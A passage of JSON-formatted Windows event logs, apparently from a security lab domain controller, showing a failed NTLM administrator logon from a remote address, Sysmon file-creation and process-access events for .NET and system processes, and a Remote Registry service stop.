Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t181.10.45.46\r\n\tSource Port:\t\t53320\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\t\r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"administrator","Status":"0xc0000225","FailureReason":"%%2304","SubStatus":"0x0","LogonType":"3","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"181.10.45.46","IpPort":"53320","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:59:55.932\r\nProcessGuid: {90617006-4236-5F2D-0000-00103E7B0900}\r\nProcessId: 4784\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Xml.dll\r\nCreationUtcTime: 2020-08-07 11:59:55.932","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:59:55.932","ProcessGuid":"{90617006-4236-5F2D-0000-00103E7B0900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Xml.dll","CreationUtcTime":"2020-08-07 11:59:55.932","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-0010D6830900}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-0010D6830900}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-0010D6830900}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-0010D6830900}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:56.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-0010D6830900}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:56.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-0010D6830900}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76852,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Remote Registry service entered the stopped state.","param1":"Remote Registry","param2":"stopped","EventReceivedTime":"2020-08-07 11:59:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6013,"SourceName":"EventLog","Task":0,"RecordNumber":76853,"ProcessID":0,"ThreadID":0,"Channel":"System","Message":"The system uptime is 626 seconds.","EventReceivedTime":"2020-08-07 12:00:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 